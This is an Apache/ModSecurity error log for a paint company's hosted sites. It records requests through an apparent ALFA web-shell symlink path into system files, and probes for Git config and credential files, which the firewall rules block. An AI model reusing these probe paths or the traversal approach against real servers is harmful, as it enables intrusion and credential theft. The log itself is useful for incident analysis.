[Sun Oct 25 04:11:38.681738 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 34.226.89.140:19653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/virtio0/driver/unbind
[Sun Oct 25 04:11:50.692801 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.206.65.8:19792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:11:54.798423 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.225.181.161:32764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:02.480468 2026] [ssl:error] [pid 2795519:tid 2795519] (70014)End of file found: [client 3.208.146.193:19765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:06.465664 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 35.172.125.172:59796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:09.210283 2026] [security2:error] [pid 2775712:tid 2775712] [client 16.216.88.238:8192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/"] [unique_id "at252QLaiqtlZaJBsx4YMQAAAA0"]
[Sun Oct 25 04:12:09.210323 2026] [security2:error] [pid 2775712:tid 2775712] [client 16.216.88.238:8192] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/"] [unique_id "at252QLaiqtlZaJBsx4YMQAAAA0"]
[Sun Oct 25 04:12:14.506240 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 23.21.250.48:30083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:18.713424 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.93.253.174:47912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:22.694734 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.226.34.98:27911] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:26.904741 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.205.180.155:38394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:34.669827 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.213.36.21:33413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:41.468884 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.2:56288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/slab_size
[Sun Oct 25 04:12:46.772501 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.213.240.226:52007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:12:54.791287 2026] [core:error] [pid 2795520:tid 2795520] (13)Permission denied: [client 185.191.171.13:37512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/destroy_by_rcu
[Sun Oct 25 04:12:58.554770 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.220.2.97:26521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:06.808862 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 18.232.11.247:55561] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:10.520771 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.84.161.62:18967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:16.038859 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 23.23.214.190:23826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:18.529395 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.94.156.104:26958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:26.683366 2026] [ssl:error] [pid 2795520:tid 2795520] (70014)End of file found: [client 54.235.158.162:6444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:34.610659 2026] [core:error] [pid 2795519:tid 2795519] (13)Permission denied: [client 44.216.172.204:12980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/flags
[Sun Oct 25 04:13:42.808338 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 85.208.96.197:42514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:42.868181 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.71.216.196:57234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:13:51.339721 2026] [security2:error] [pid 2795520:tid 2795520] [client 172.64.198.64:13919] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at26PwlDDvw8T267blqb8gAAAAg"]
[Sun Oct 25 04:13:51.339999 2026] [security2:error] [pid 2795520:tid 2795520] [client 172.64.198.64:13919] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at26PwlDDvw8T267blqb8gAAAAg"]
[Sun Oct 25 04:13:51.340378 2026] [security2:error] [pid 2795520:tid 2795520] [client 172.64.198.64:13919] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at26PwlDDvw8T267blqb8gAAAAg"]
[Sun Oct 25 04:13:51.348300 2026] [security2:error] [pid 2781523:tid 2781523] [client 172.64.198.65:11848] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26P9xXWZMI2DaSlsHxowAAABY"]
[Sun Oct 25 04:13:51.348563 2026] [security2:error] [pid 2781523:tid 2781523] [client 172.64.198.65:11848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26P9xXWZMI2DaSlsHxowAAABY"]
[Sun Oct 25 04:13:51.348851 2026] [security2:error] [pid 2781523:tid 2781523] [client 172.64.198.65:11848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26P9xXWZMI2DaSlsHxowAAABY"]
[Sun Oct 25 04:13:59.809703 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.4:43942] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-unhinted.conf"] [unique_id "at26RwLaiqtlZaJBsx4YNgAAAA0"]
[Sun Oct 25 04:13:59.810068 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.4:43942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-unhinted.conf"] [unique_id "at26RwLaiqtlZaJBsx4YNgAAAA0"]
[Sun Oct 25 04:13:59.810521 2026] [security2:error] [pid 2775712:tid 2775712] [client 185.191.171.4:43942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/10-unhinted.conf"] [unique_id "at26RwLaiqtlZaJBsx4YNgAAAA0"]
[Sun Oct 25 04:14:03.484595 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.226.89.140:17008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:14:36.291334 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57048] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bIHtOs-nfC4GshpSIAAAABc"]
[Sun Oct 25 04:14:36.291686 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57048] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bIHtOs-nfC4GshpSIAAAABc"]
[Sun Oct 25 04:14:36.291954 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bIHtOs-nfC4GshpSIAAAABc"]
[Sun Oct 25 04:14:36.292259 2026] [security2:error] [pid 2781524:tid 2781524] [client 34.86.41.33:57048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bIHtOs-nfC4GshpSIAAAABc"]
[Sun Oct 25 04:14:36.389144 2026] [security2:error] [pid 2781030:tid 2781030] [client 34.86.41.33:57052] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bLQKh4dfs72fmHxwbQAAAAE"]
[Sun Oct 25 04:14:36.389464 2026] [security2:error] [pid 2781030:tid 2781030] [client 34.86.41.33:57052] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bLQKh4dfs72fmHxwbQAAAAE"]
[Sun Oct 25 04:14:36.389724 2026] [security2:error] [pid 2781030:tid 2781030] [client 34.86.41.33:57052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bLQKh4dfs72fmHxwbQAAAAE"]
[Sun Oct 25 04:14:36.390040 2026] [security2:error] [pid 2781030:tid 2781030] [client 34.86.41.33:57052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at26bLQKh4dfs72fmHxwbQAAAAE"]
[Sun Oct 25 04:14:36.602700 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.86.41.33:57068] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bFTnwNJm6o1fQZIjLQAAAAI"]
[Sun Oct 25 04:14:36.602981 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.86.41.33:57068] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bFTnwNJm6o1fQZIjLQAAAAI"]
[Sun Oct 25 04:14:36.603222 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.86.41.33:57068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bFTnwNJm6o1fQZIjLQAAAAI"]
[Sun Oct 25 04:14:36.603565 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.86.41.33:57068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bFTnwNJm6o1fQZIjLQAAAAI"]
[Sun Oct 25 04:14:36.683440 2026] [security2:error] [pid 2795520:tid 2795520] [client 34.86.41.33:57074] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bAlDDvw8T267blqb9AAAAAg"]
[Sun Oct 25 04:14:36.683764 2026] [security2:error] [pid 2795520:tid 2795520] [client 34.86.41.33:57074] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bAlDDvw8T267blqb9AAAAAg"]
[Sun Oct 25 04:14:36.684014 2026] [security2:error] [pid 2795520:tid 2795520] [client 34.86.41.33:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bAlDDvw8T267blqb9AAAAAg"]
[Sun Oct 25 04:14:36.684324 2026] [security2:error] [pid 2795520:tid 2795520] [client 34.86.41.33:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/credentials"] [unique_id "at26bAlDDvw8T267blqb9AAAAAg"]
[Sun Oct 25 04:14:36.753538 2026] [security2:error] [pid 2781523:tid 2781523] [client 34.86.41.33:57086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git-credentials"] [unique_id "at26bNxXWZMI2DaSlsHxpQAAABY"]
[Sun Oct 25 04:14:36.985645 2026] [security2:error] [pid 2775684:tid 2775684] [client 34.86.41.33:57102] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.gitconfig"] [unique_id "at26bAanevcJbML2UkvoXgAAAAU"]
[Sun Oct 25 04:14:36.985645 2026] [security2:error] [pid 2795519:tid 2795519] [client 34.86.41.33:57108] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git-credentials"] [unique_id "at26bBnFg98qhcJASwXSpgAAAAQ"]
[Sun Oct 25 04:14:37.328319 2026] [security2:error] [pid 2775712:tid 2775712] [client 34.86.41.33:57118] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bQLaiqtlZaJBsx4YOAAAAA0"]
[Sun Oct 25 04:14:37.328645 2026] [security2:error] [pid 2775712:tid 2775712] [client 34.86.41.33:57118] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/configf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/configf"] [unique_id "at26bQLaiqtlZaJBsx4YOAAAAA0"]
